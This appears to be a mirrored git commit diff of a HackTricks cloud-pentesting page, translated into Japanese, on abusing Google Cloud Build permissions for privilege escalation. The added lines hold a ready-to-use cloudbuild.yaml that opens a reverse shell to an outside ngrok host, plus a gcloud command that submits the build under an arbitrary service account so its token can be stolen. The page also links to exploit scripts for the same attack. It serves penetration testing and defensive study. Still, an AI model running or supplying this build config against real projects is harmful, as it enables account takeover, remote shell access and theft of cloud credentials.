mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-16 09:31:02 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -12,18 +12,30 @@ Cloud Buildに関する詳細情報は、以下を確認してください:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
この権限を持つことで、**クラウドビルドを提出**できます。cloudbuildマシンのファイルシステムには、**デフォルトでcloudbuildサービスアカウントのトークン**が含まれています:`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。ただし、cloudbuildの設定内で**プロジェクト内の任意のサービスアカウントを指定することができます**。\
|
||||
したがって、トークンをあなたのサーバーにエクスフィルトレートさせるか、**その中でリバースシェルを取得してトークンを入手することができます**(トークンを含むファイルは変更される可能性があります)。
|
||||
この権限を使用すると、**クラウドビルドを提出**できます。cloudbuildマシンのファイルシステムには、**デフォルトでcloudbuildサービスアカウントのトークン**が含まれています:`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。ただし、cloudbuild構成内で**プロジェクト内の任意のサービスアカウントを指定**することができます。\
|
||||
したがって、マシンからトークンをあなたのサーバーに流出させるか、**その中にリバースシェルを取得してトークンを入手する**ことができます(トークンを含むファイルは変更される可能性があります)。
|
||||
|
||||
元のエクスプロイトスクリプトは[**こちらのGitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)で見つけることができます(ただし、トークンを取得する場所は私には機能しませんでした)。そのため、[**脆弱な環境の作成、エクスプロイト、クリーンアップを自動化するスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh)と、cloudbuildマシン内でリバースシェルを取得し、[**それを盗むためのPythonスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)で見つけることができます(コード内で他のサービスアカウントを指定する方法がわかります)**。**
|
||||
#### gcloud CLIを介した直接的な悪用
|
||||
|
||||
1- `cloudbuild.yaml`を作成し、リスナーのデータで修正します。
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- ソースなしのシンプルなビルドをアップロードし、yamlファイルを指定して、ビルドで使用するSAを指定します:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Using python gcloud library
|
||||
オリジナルのエクスプロイトスクリプトは[**こちらのGitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)で見つけることができます(ただし、トークンを取得する場所は私には機能しませんでした)。したがって、[**脆弱な環境の作成、エクスプロイト、およびクリーンアップを自動化するスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh)と、cloudbuildマシン内でリバースシェルを取得し、[**それを盗むためのPythonスクリプトはこちら**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)を確認してください(コード内で他のサービスアカウントを指定する方法が見つかります)**。**
|
||||
|
||||
より詳細な説明については、[https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)を訪れてください。
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**潜在的に**この権限を持つことで、**クラウドビルドを更新し、サービスアカウントのトークンを盗む**ことができるでしょう(ただし、残念ながらこの執筆時点ではそのAPIを呼び出す方法を見つけることができませんでした)。
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user